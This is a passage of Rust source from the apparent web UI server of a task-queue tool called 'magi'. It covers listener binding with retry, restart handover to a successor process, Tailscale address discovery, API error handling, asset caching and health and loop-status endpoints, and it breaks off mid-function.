1460 parking: bool,
1464}
1465
1466enum TalkTurnStart {
1469 Claimed(TalkTurnGuard),
1470 Busy,
1471 Foreign,
1474 Pending,
1475}
1476
1477impl TalkTurnGuard {
1478 fn owns(&self) -> bool {
1482 self.lease
1483 .as_ref()
1484 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1485 }
1486
1487 async fn respond(
1490 &self,
1491 talk: &mut Talk,
1492 talks: &Talks,
1493 cfg: &Config,
1494 text: &str,
1495 ) -> anyhow::Result<()> {
1496 let lease = self
1497 .lease
1498 .as_ref()
1499 .context("the turn guard no longer holds its lease")?;
1500 talk::respond(lease, talk, talks, cfg, text).await
1501 }
1502
1503 fn release(mut self, live: &mut TalkTurns) {
1506 self.lease = None;
1510 live.live.remove(&self.talk);
1511 live.queued.remove(&self.talk);
1512 self.released = true;
1513 }
1514}
1515
1516impl Drop for TalkTurnGuard {
1517 fn drop(&mut self) {
1518 if self.released {
1519 return;
1520 }
1521 drop(self.lease.take());
1523 if let Ok(mut live) = self.turns.lock() {
1524 live.live.remove(&self.talk);
1525 live.queued.remove(&self.talk);
1526 }
1527 }
1528}
1529
1530struct ResumeGuard {
1532 run: String,
1533 resuming: Arc<Mutex<HashSet<String>>>,
1534}
1535
1536impl Drop for ResumeGuard {
1537 fn drop(&mut self) {
1538 if let Ok(mut live) = self.resuming.lock() {
1539 live.remove(&self.run);
1540 }
1541 }
1542}
1543
1544async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1554 const WINDOW: Duration = Duration::from_secs(10);
1555 const GAP: Duration = Duration::from_millis(250);
1556
1557 let deadline = std::time::Instant::now() + WINDOW;
1558 let mut said = false;
1559 loop {
1560 match tokio::net::TcpListener::bind(socket).await {
1561 Ok(listener) => return Ok(listener),
1562 Err(e)
1563 if e.kind() == std::io::ErrorKind::AddrInUse
1564 && std::time::Instant::now() < deadline =>
1565 {
1566 if !said {
1567 said = true;
1568 tracing::info!(
1569 "{socket} is still held - waiting up to {}s for it, \
1570 which is what a restart looks like from here",
1571 WINDOW.as_secs()
1572 );
1573 }
1574 tokio::time::sleep(GAP).await;
1575 }
1576 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1577 }
1578 }
1579}
1580
1581static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1584
1585const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1587
1588fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1590 value.is_some_and(|v| v == "1")
1591}
1592
1593fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1616 let exe = std::env::current_exe().context("find this binary")?;
1617 let args: Vec<String> = std::env::args().skip(1).collect();
1618 updater::log_step(
1619 home,
1620 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1621 );
1622 let log_path = home.join(WEB_LOG);
1623 let open_log = || {
1624 std::fs::create_dir_all(home)?;
1625 std::fs::OpenOptions::new()
1626 .create(true)
1627 .append(true)
1628 .open(&log_path)
1629 };
1630 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1631 Ok(pair) => (
1632 std::process::Stdio::from(pair.0),
1633 std::process::Stdio::from(pair.1),
1634 ),
1635 Err(e) => {
1636 updater::log_warn(
1637 home,
1638 &format!(
1639 "could not open {}: {e}; the successor logs nowhere",
1640 log_path.display()
1641 ),
1642 );
1643 (std::process::Stdio::null(), std::process::Stdio::null())
1644 }
1645 };
1646
1647 let mut cmd = std::process::Command::new(&exe);
1648 if resume {
1649 cmd.env(RESUME_LOOP_ENV, "1");
1650 } else {
1651 cmd.env_remove(RESUME_LOOP_ENV);
1652 }
1653 cmd.args(&args)
1654 .stdin(std::process::Stdio::null())
1655 .stdout(out)
1656 .stderr(err);
1657 #[cfg(windows)]
1658 {
1659 use std::os::windows::process::CommandExt as _;
1660 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1663 }
1664 let child = cmd.spawn().context("start the successor")?;
1665 Ok(child.id())
1666}
1667
1668const WEB_LOG: &str = "web.log";
1670
1671async fn wait_for_handover(signal: &Notify) {
1675 signal.notified().await;
1676}
1677
1678pub async fn serve(opts: Opts) -> Result<()> {
1703 let (addr, warning) = resolve_bind(&opts.bind);
1704 if let Some(warning) = warning {
1705 tracing::warn!("{warning}");
1706 }
1707
1708 report::set_color(false);
1714
1715 let repo = normalize_default_repo(opts.repo).await;
1716 let ui = Ui::open(repo).with_merge(opts.merge);
1717 let home = ui.home.clone();
1722 let repo = ui.repo.clone();
1723 updater::reconcile_after_restart(&home);
1728 updater::log_step(
1729 &home,
1730 &format!(
1731 "web process started (version {}); handover log {}, successor output {}",
1732 env!("CARGO_PKG_VERSION"),
1733 updater::log_path(&home).display(),
1734 home.join(WEB_LOG).display()
1735 ),
1736 );
1737 updater::spawn_watchdog(home.clone());
1738 tokio::spawn(run_update_recheck(repo, home.clone()));
1747 let looping = ui.looping();
1748 let turns = ui.turns();
1749 let talk_store = ui.talks.clone();
1750 let socket = SocketAddr::new(addr, opts.port);
1751 let listener = bind_waiting(socket).await?;
1752 let url = format!("http://{addr}:{}", opts.port);
1753 tracing::info!(
1754 "magi web UI on {url} - there is no authentication, so anyone who can \
1755 reach this address can file and hold tasks: the tailnet is the \
1756 security boundary"
1757 );
1758 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1759 tracing::info!("resumed the loop the predecessor was running");
1760 } else {
1761 tracing::info!(
1762 "the queue loop is not running yet - start it from the UI, which is \
1763 the whole reason this process can: nothing in the queue moves until \
1764 something is running the loop"
1765 );
1766 }
1767 if opts.open {
1768 println!("{url}");
1772 }
1773
1774 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1777 let interrupted = async {
1778 if tokio::signal::ctrl_c().await.is_err() {
1779 std::future::pending::<()>().await;
1784 }
1785 };
1786 let handover = wait_for_handover(&HANDOVER);
1787 let outcome = tokio::select! {
1788 joined = &mut served => match joined {
1789 Ok(outcome) => outcome.context("serve the web UI"),
1790 Err(e) => Err(e).context("the task serving the web UI ended"),
1791 },
1792 () = interrupted => {
1793 tracing::info!("shutting down the web UI");
1794 finish_loop(&home, &looping, None).await;
1795 Ok(())
1796 }
1797 () = handover => {
1798 updater::log_step(&home, "serve: the select! woke on the handover signal");
1799 let successor_home = home.clone();
1800 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1801 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1802 spawn_successor(&successor_home, resume)
1803 })
1804 .await
1805 }
1806 };
1807 updater::log_step(
1808 &home,
1809 &match &outcome {
1810 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1811 Err(e) => format!("serve: returning an error: {e:#}"),
1812 },
1813 );
1814 outcome
1815}
1816
1817async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1838 if repo != FsPath::new(".") {
1839 return repo;
1840 }
1841 let Ok(canonical) = repo.canonicalize() else {
1842 return repo;
1843 };
1844 if git::toplevel(&canonical).await.is_ok() {
1845 return repo;
1846 }
1847 let Some(home) = dirs::home_dir() else {
1848 return repo;
1849 };
1850 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1851 Some(found) => {
1852 tracing::info!(
1853 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1854 canonical.display(),
1855 found.path.display(),
1856 found.reason,
1857 );
1858 found.path
1859 }
1860 None => repo,
1861 }
1862}
1863
1864async fn hand_over(
1894 home: &FsPath,
1895 looping: &Mutex<LoopState>,
1896 turns: &Arc<Mutex<TalkTurns>>,
1897 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1898 served: tokio::task::JoinHandle<std::io::Result<()>>,
1899 successor: impl FnOnce(bool) -> Result<u32>,
1900) -> Result<()> {
1901 updater::log_step(home, "hand_over: entered; writing the parking stage");
1902 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1906 if !recorded {
1907 updater::log_warn(
1908 home,
1909 "hand_over: upgrade.json is unreadable; no parking stage",
1910 );
1911 }
1912 finish_loop(home, looping, Some(&mut lease)).await;
1917 let parking = ParkingTurns::begin(turns);
1918 let talks_done = finish_talks(home, turns, talk_wait);
1919 tokio::pin!(talks_done);
1920 let mut beat = tokio::time::interval(LEASE_BEAT);
1921 let (abandoned, waited_for) = loop {
1922 tokio::select! {
1923 left = &mut talks_done => break left,
1924 _ = beat.tick() => lease.beat(),
1925 }
1926 };
1927 drop(lease);
1928 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1929 served.abort();
1930 let _ = served.await;
1931 updater::log_step(home, "hand_over: listener released");
1932 let resume = lock_or_recover(looping).resume_after_handover;
1935 match updater::read_progress(home) {
1936 Some(mut progress) => {
1937 progress.advance(updater::Stage::Restarting);
1938 if !abandoned.is_empty() {
1939 progress.detail = Some(format!(
1940 "handed over while {} still running after {} s",
1941 updater::talks_phrase(&abandoned),
1942 waited_for.as_secs()
1943 ));
1944 }
1945 updater::write_progress_logged(home, &progress);
1946 }
1947 None => updater::log_warn(
1948 home,
1949 "hand_over: upgrade.json is unreadable; no restarting stage",
1950 ),
1951 }
1952 updater::log_step(
1953 home,
1954 &format!("hand_over: starting the successor (resume={resume})"),
1955 );
1956 drop(parking);
1957 match successor(resume) {
1958 Ok(pid) => {
1959 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1960 Ok(())
1961 }
1962 Err(e) => {
1963 updater::log_warn(
1964 home,
1965 &format!("hand_over: the successor did not start: {e:#}"),
1966 );
1967 Err(e)
1968 }
1969 }
1970}
1971
1972const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1975
1976const TALK_POLL: Duration = Duration::from_millis(250);
1978
1979fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1982 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1983}
1984
1985fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1990 let default = Config::default().graph.timeout_talk;
1991 let longest = ids
1992 .iter()
1993 .map(|id| {
1994 talks
1995 .get(id)
1996 .ok()
1997 .and_then(|t| Config::discover(&t.repo, None).ok())
1998 .map_or(default, |(c, _)| c.graph.timeout_talk)
1999 })
2000 .max()
2001 .unwrap_or(default);
2002 talk_wait_bound(longest)
2003}
2004
2005struct ParkingTurns(Arc<Mutex<TalkTurns>>);
2009
2010impl ParkingTurns {
2011 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
2012 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
2013 Self(Arc::clone(turns))
2014 }
2015}
2016
2017impl Drop for ParkingTurns {
2018 fn drop(&mut self) {
2019 self.0
2020 .lock()
2021 .unwrap_or_else(PoisonError::into_inner)
2022 .parking = false;
2023 }
2024}
2025
2026async fn finish_talks(
2031 home: &FsPath,
2032 turns: &Mutex<TalkTurns>,
2033 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
2034) -> (Vec<String>, Duration) {
2035 let running = || {
2036 let mut ids: Vec<String> = turns
2037 .lock()
2038 .unwrap_or_else(PoisonError::into_inner)
2039 .live
2040 .iter()
2041 .cloned()
2042 .collect();
2043 let talks = talk::Talks::at(home.join("talks"));
2046 for t in talks.list() {
2047 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
2048 ids.push(t.id);
2049 }
2050 }
2051 ids.sort();
2052 ids
2053 };
2054 let started = std::time::Instant::now();
2055 let mut seen = Vec::new();
2056 let mut bound = Duration::ZERO;
2057 loop {
2058 let ids = running();
2059 if ids != seen {
2060 bound = bound.max(bound_for(&ids));
2061 if ids.is_empty() {
2062 updater::log_step(home, "finish_talks: no chat turn is running");
2063 } else {
2064 updater::log_step(
2065 home,
2066 &format!(
2067 "finish_talks: waiting for {} to finish",
2068 updater::talks_phrase(&ids)
2069 ),
2070 );
2071 }
2072 updater::set_parked_talks(home, &ids);
2073 seen = ids;
2074 }
2075 if seen.is_empty() {
2076 return (Vec::new(), bound);
2077 }
2078 if started.elapsed() >= bound {
2079 updater::log_warn(
2080 home,
2081 &format!(
2082 "finish_talks: {} still running after {} s; handing over anyway",
2083 updater::talks_phrase(&seen),
2084 bound.as_secs()
2085 ),
2086 );
2087 return (seen, bound);
2088 }
2089 tokio::time::sleep(TALK_POLL).await;
2090 }
2091}
2092
2093const LEASE_BEAT: Duration = Duration::from_secs(20);
2096
2097async fn finish_loop(
2104 home: &FsPath,
2105 state: &Mutex<LoopState>,
2106 mut lease: Option<&mut updater::LeaseGuard>,
2107) {
2108 let live = lock_or_recover(state).live.take();
2109 let Some(live) = live else {
2110 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
2111 return;
2112 };
2113 live.stop.stop();
2114 lock_or_recover(state).rev += 1;
2115 updater::log_step(
2116 home,
2117 "finish_loop: waiting for the loop to finish the run in flight",
2118 );
2119 let waited = std::time::Instant::now();
2120 let mut handle = live.handle;
2123 let mut beat = tokio::time::interval(LEASE_BEAT);
2124 loop {
2125 tokio::select! {
2126 _ = &mut handle => break,
2127 _ = beat.tick() => {
2128 if let Some(lease) = lease.as_deref_mut() {
2129 lease.beat();
2130 }
2131 }
2132 }
2133 }
2134 updater::log_step(
2135 home,
2136 &format!(
2137 "finish_loop: the loop ended after {:.1}s",
2138 waited.elapsed().as_secs_f32()
2139 ),
2140 );
2141}
2142
2143pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2149 match bind {
2150 Bind::Addr(addr) => (*addr, None),
2151 Bind::Auto => match tailscale_ip() {
2152 Ok(ip) => (IpAddr::V4(ip), None),
2153 Err(why) => (
2154 IpAddr::V4(Ipv4Addr::LOCALHOST),
2155 Some(format!(
2156 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2157 local-only and a phone cannot reach it; start Tailscale \
2158 or pass --bind <addr>"
2159 )),
2160 ),
2161 },
2162 }
2163}
2164
2165fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2173 let out = std::process::Command::new("tailscale")
2174 .args(["ip", "-4"])
2175 .quiet()
2176 .output()
2177 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2178 if !out.status.success() {
2179 let why = String::from_utf8_lossy(&out.stderr);
2180 let why = why.trim();
2181 return Err(format!(
2182 "`tailscale ip -4` failed ({}){}",
2183 out.status,
2184 if why.is_empty() {
2185 String::new()
2186 } else {
2187 format!(": {why}")
2188 }
2189 ));
2190 }
2191 String::from_utf8_lossy(&out.stdout)
2192 .lines()
2193 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2194 .find(is_tailnet)
2195 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2196}
2197
2198fn is_tailnet(ip: &Ipv4Addr) -> bool {
2200 let o = ip.octets();
2201 o[0] == 100 && (64..=127).contains(&o[1])
2202}
2203
2204type ApiResult<T> = std::result::Result<T, ApiError>;
2208
2209#[derive(Debug)]
2211struct ApiError {
2212 status: StatusCode,
2213 message: String,
2214 text_reason: Option<crate::question_delivery::UnavailableReason>,
2215}
2216
2217impl ApiError {
2218 fn bad_request(message: impl Into<String>) -> Self {
2220 Self {
2221 text_reason: None,
2222 status: StatusCode::BAD_REQUEST,
2223 message: message.into(),
2224 }
2225 }
2226
2227 fn not_found(message: impl Into<String>) -> Self {
2229 Self {
2230 text_reason: None,
2231 status: StatusCode::NOT_FOUND,
2232 message: message.into(),
2233 }
2234 }
2235
2236 fn with_status(mut self, status: StatusCode) -> Self {
2239 self.status = status;
2240 self
2241 }
2242
2243 fn bad_request_from(e: anyhow::Error) -> Self {
2247 Self::bad_request(format!("{e:#}"))
2248 }
2249
2250 fn conflict(message: impl Into<String>) -> Self {
2251 Self {
2252 text_reason: None,
2253 status: StatusCode::CONFLICT,
2254 message: message.into(),
2255 }
2256 }
2257
2258 fn internal(message: impl Into<String>) -> Self {
2260 Self {
2261 text_reason: None,
2262 status: StatusCode::INTERNAL_SERVER_ERROR,
2263 message: message.into(),
2264 }
2265 }
2266}
2267
2268impl From<anyhow::Error> for ApiError {
2269 fn from(e: anyhow::Error) -> Self {
2274 Self::internal(format!("{e:#}"))
2275 }
2276}
2277
2278impl IntoResponse for ApiError {
2279 fn into_response(self) -> Response {
2280 let mut body = serde_json::json!({ "error": self.message });
2281 if let Some(reason) = self.text_reason {
2282 body["code"] = serde_json::json!("question_text_unavailable");
2283 body["reason"] = serde_json::json!(reason);
2284 }
2285 (self.status, Json(body)).into_response()
2286 }
2287}
2288
2289async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2298where
2299 T: Send + 'static,
2300{
2301 #[cfg(test)]
2302 let job = request_cost::carry(job);
2303 match tokio::task::spawn_blocking(job).await {
2304 Ok(result) => result,
2305 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2306 }
2307}
2308
2309const ASSET_CACHE: &str = "no-cache, must-revalidate";
2327
2328fn asset_etag() -> &'static str {
2335 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2336 format!(
2337 "\"{}-{}\"",
2338 env!("CARGO_PKG_VERSION"),
2339 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2344 )
2345 });
2346 &TAG
2347}
2348
2349fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2351 [
2352 (header::CONTENT_TYPE, mime),
2353 (header::CACHE_CONTROL, ASSET_CACHE),
2354 (header::ETAG, asset_etag()),
2355 ]
2356}
2357
2358fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2366 let tag = asset_etag();
2367 let known = headers
2368 .get(header::IF_NONE_MATCH)
2369 .and_then(|v| v.to_str().ok())
2370 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2374 if known {
2375 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2376 }
2377 (asset_headers(mime), body).into_response()
2378}
2379
2380async fn index(headers: header::HeaderMap) -> Response {
2381 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2382}
2383
2384async fn app_css(headers: header::HeaderMap) -> Response {
2385 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2386}
2387
2388async fn app_js(headers: header::HeaderMap) -> Response {
2389 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2390}
2391
2392#[derive(Debug, Serialize)]
2394struct HealthView {
2395 version: &'static str,
2396 home: String,
2397 queue_rev: u64,
2398 runs_rev: u64,
2399 questions_rev: u64,
2411 talks_rev: u64,
2413 notifications_rev: u64,
2415 notifications_unread: usize,
2418 loop_rev: u64,
2423 runs_unreadable: usize,
2431 disk: DiskView,
2439 questions_open: usize,
2445 questions_needs_owner: usize,
2455 daemon: DaemonView,
2456 #[serde(rename = "loop")]
2462 looping: LoopView,
2463 update: UpdateView,
2470 upgrade: Option<UpgradeProgressView>,
2474 upgrade_request_error: Option<UpgradeRequestFailure>,
2475}
2476
2477#[derive(Debug, Serialize)]
2484struct UpdateView {
2485 available: bool,
2487 to: Option<String>,
2489}
2490
2491#[derive(Debug, Serialize)]
2493struct UpgradeProgressView {
2494 stage: updater::Stage,
2495 from: String,
2496 to: Option<String>,
2497 waiting_on: Option<String>,
2500 started_at: Timestamp,
2501 updated_at: Timestamp,
2502 detail: Option<String>,
2503 stuck_for_secs: Option<i64>,
2506 stuck_kind: Option<updater::StallKind>,
2509 handover_alive: bool,
2512}
2513
2514fn should_spawn_recheck(cfg: &Update) -> bool {
2521 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2522}
2523
2524fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2536 if progress.is_some_and(|p| !p.stage.terminal()) {
2537 return false;
2538 }
2539 checker.should_check()
2540}
2541
2542fn recheck_poll_period(cfg: &Update) -> Duration {
2555 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2556}
2557
2558async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2582 loop {
2583 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2584 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2585 if !should_spawn_recheck(&cfg.update) {
2586 continue;
2587 }
2588 let Some(checker) = updater::Checker::new(&cfg.update) else {
2589 continue;
2590 };
2591 let progress = updater::read_progress(&home);
2592 if !update_recheck_due(&checker, progress.as_ref()) {
2593 continue;
2594 }
2595 if let Err(e) = checker.newer_release().await {
2596 tracing::warn!("background update recheck failed: {e:#}");
2597 }
2598 }
2599}
2600
2601fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2607 let default;
2608 let cfg = match cfg {
2609 Some(cfg) => cfg,
2610 None => {
2611 default = Config::default();
2612 &default
2613 }
2614 };
2615 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2616 match latest {
2617 Some(latest) => UpdateView {
2618 available: true,
2619 to: Some(latest.tag_name),
2620 },
2621 None => UpdateView {
2622 available: false,
2623 to: None,
2624 },
2625 }
2626}
2627
2628fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2634 let now = Timestamp::now();
2635 let lease = updater::read_lease(&ui.home);
2636 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2637 let run_id = alive
2638 .and_then(|l| l.parked_run.as_deref())
2639 .or(progress.parked_run.as_deref());
2640 let parking = progress.stage == updater::Stage::Parking;
2641 let waited = alive.map_or_else(String::new, |l| {
2642 let secs = updater::waited_secs(l, now);
2643 format!(" (waited {} min so far)", secs / 60)
2644 });
2645 let run_text = run_id
2646 .filter(|_| parking)
2647 .map(|id| match read_run(&ui.runs, id).ok() {
2648 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2649 None => format!("run {id} is finishing"),
2650 });
2651 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2652 .filter(|t| parking && !t.is_empty())
2653 .map(|t| format!("{t} finishing"));
2654 let waiting_on = match (run_text, talks_text) {
2655 (None, None) => None,
2656 (run, talks) => {
2657 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2658 Some(format!(
2659 "{} before the address is handed over{waited}",
2660 parts.join(" and ")
2661 ))
2662 }
2663 };
2664 let detail = progress
2665 .detail
2666 .clone()
2667 .or_else(|| updater::read_note(&ui.home, &progress));
2668 let stalled = updater::stall(&progress, lease.as_ref(), now);
2669 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2670 UpgradeProgressView {
2671 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2672 stuck_kind: stalled.map(|s| s.kind),
2673 handover_alive: alive.is_some(),
2674 stage: progress.stage,
2675 from: progress.from,
2676 to: progress.to,
2677 waiting_on,
2678 started_at: progress.started_at,
2679 updated_at: progress.updated_at,
2680 detail,
2681 }
2682}
2683
2684#[derive(Debug, Serialize)]
2689struct DiskView {
2690 #[serde(skip_serializing_if = "Option::is_none")]
2692 free_bytes: Option<u64>,
2693 runs_bytes: u64,
2695 worktrees_bytes: u64,
2697 #[serde(skip_serializing_if = "Option::is_none")]
2699 cache_bytes: Option<u64>,
2700 retention: Option<crate::retention::Report>,
2702}
2703
2704impl DiskView {
2705 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2707 let cache_bytes = cfg
2708 .and_then(|cfg| cfg.cache_dir())
2709 .map(|dir| crate::disk::dir_size(&dir));
2710 Self {
2711 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2712 runs_bytes: crate::disk::dir_size(&ui.runs),
2713 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2714 cache_bytes,
2715 retention: ui
2716 .runs
2717 .parent()
2718 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2719 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2720 }
2721 }
2722}
2723
2724#[derive(Debug, Serialize)]
2726struct DaemonView {
2727 running: bool,
2728 idle: Option<bool>,
2729 pid: Option<u32>,
2730 current: Vec<daemon::Current>,
2734 completed: Option<u64>,
2735 stale_for_secs: Option<i64>,
2736}
2737
2738impl DaemonView {
2739 fn of(status: Option<daemon::Reading>) -> Self {
2743 let Some(status) = status else {
2744 return Self {
2745 running: false,
2746 idle: None,
2747 pid: None,
2748 current: Vec::new(),
2749 completed: None,
2750 stale_for_secs: None,
2751 };
2752 };
2753 let now = Timestamp::now();
2754 let age = status.age_secs(now);
2755 Self {
2756 running: status.running(now),
2757 idle: Some(status.idle),
2758 pid: status.pid,
2759 current: status.current,
2760 completed: Some(status.completed),
2761 stale_for_secs: age,
2762 }
2763 }
2764}
2765
2766async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2767 let revisions = ui.monitor.revisions(&ui).await?;
2768 blocking(move || {
2769 let reading = daemon::read_status(&ui.home);
2773 let loop_rev = ui.lock_loop().rev;
2777 let cfg = deputy_config(&ui.repo);
2780 let update = cached_update_view(cfg.as_ref());
2781 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2782 let questions = ui.questions.list();
2783 Ok(Json(HealthView {
2784 version: env!("CARGO_PKG_VERSION"),
2785 home: ui.home.display().to_string(),
2786 queue_rev: revisions.0,
2787 runs_rev: revisions.1,
2788 questions_rev: revisions.2,
2789 talks_rev: revisions.3,
2790 notifications_rev: stamps_revision(
2791 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2792 ),
2793 notifications_unread: ui.notices.count_unread(),
2794 loop_rev,
2795 runs_unreadable: runs_unreadable(&ui.runs),
2796 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2797 questions_needs_owner: questions
2798 .iter()
2799 .filter(|q| {
2800 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2801 })
2802 .count(),
2803 daemon: DaemonView::of(reading.clone()),
2804 looping: ui.loop_view(reading),
2805 disk: DiskView::of(&ui, cfg.as_ref()),
2806 update,
2807 upgrade,
2808 upgrade_request_error: ui
2809 .upgrade_request_error
2810 .lock()
2811 .unwrap_or_else(PoisonError::into_inner)
2812 .clone(),
2813 }))
2814 })
2815 .await
2816}
2817
2818#[derive(Debug, Serialize)]
2820struct LoopView {
2821 running: bool,
2823 stopping: bool,
2831 parking: bool,
2839 owned: bool,
2847 repo: String,
2850 merge: Option<String>,
2853 last_error: Option<String>,
2861 daemon: DaemonView,
2864}
2865
2866#[derive(Debug, Clone, Copy)]
2875struct Foreign {
2876 pid: Option<u32>,
2878}
2879
2880impl Foreign {
2881 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2884 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2888 }
2889
2890 fn who(&self) -> String {
2893 match self.pid {
2894 Some(pid) => format!("another magi process (pid {pid})"),
2895 None => "another magi process".to_owned(),
2896 }
2897 }
2898}
2899
2900type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2905
2906fn launch_daemon(
2908 opts: daemon::Opts,
2909 stop: daemon::Stop,
2910) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2911 Box::pin(daemon::serve_until(opts, stop))
2912}
2913
2914#[derive(Debug, Default)]
2916struct LoopState {
2917 live: Option<Live>,
2919 rev: u64,
2927 last_error: Option<String>,
2930 resume_after_handover: bool,
2935}
2936
2937#[derive(Debug)]
2939struct Live {
2940 stop: daemon::Stop,
2942 handle: tokio::task::JoinHandle<()>,
2947 opts: daemon::Opts,
2951}
2952
2953impl Live {
2954 fn alive(&self) -> bool {
2956 !self.handle.is_finished()
2957 }
2958}
2959
2960fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2967 state.lock().unwrap_or_else(PoisonError::into_inner)
2968}
2969
2970async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2972 blocking(move || {
2973 let reading = daemon::read_status(&ui.home);
2974 Ok(Json(ui.loop_view(reading)))
2975 })
2976 .await
2977}
2978
2979#[derive(Debug, Deserialize)]
2985#[serde(deny_unknown_fields)]
2986struct LoopCommand {
2987 running: bool,
2988 #[serde(default)]
2998 park: bool,
2999}
3000
3001async fn loop_post(
3009 State(ui): State<Arc<Ui>>,
3010 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3011) -> ApiResult<Json<LoopView>> {
3012 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3015 blocking(move || {
3016 let reading = daemon::read_status(&ui.home);
3017 let foreign = Foreign::of(reading.as_ref());
3018 if body.running {
3019 ui.start_loop(foreign)?;
3020 } else {
3021 ui.stop_loop(foreign, body.park)?;
3022 }
3023 Ok(Json(ui.loop_view(reading)))
3024 })
3025 .await
3026}
3027
3028#[derive(Debug, Serialize)]
3030struct UpgradeView {
3031 from: String,
3033 to: Option<String>,
3035 parked: Option<String>,
3037 detail: String,
3039}
3040
3041fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3044 progress.filter(|p| !p.stage.terminal())
3045}
3046
3047fn upgrade_retry_after(message: &str) -> Option<u64> {
3050 if !message.contains("GitHub") || !message.contains("rate limit") {
3051 return None;
3052 }
3053 if message.contains("retry now") {
3054 return Some(0);
3055 }
3056 let duration = message
3057 .split_once("resets in ")
3058 .or_else(|| message.split_once("retry after "))?
3059 .1
3060 .split_once(')')?
3061 .0;
3062 let mut rest = duration.trim();
3063 if rest.is_empty() {
3064 return None;
3065 }
3066 let mut total = 0u64;
3067 while !rest.is_empty() {
3068 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3069 let amount: u64 = rest[..n].parse().ok()?;
3070 let scale = match rest[n..].chars().next()? {
3071 's' => 1,
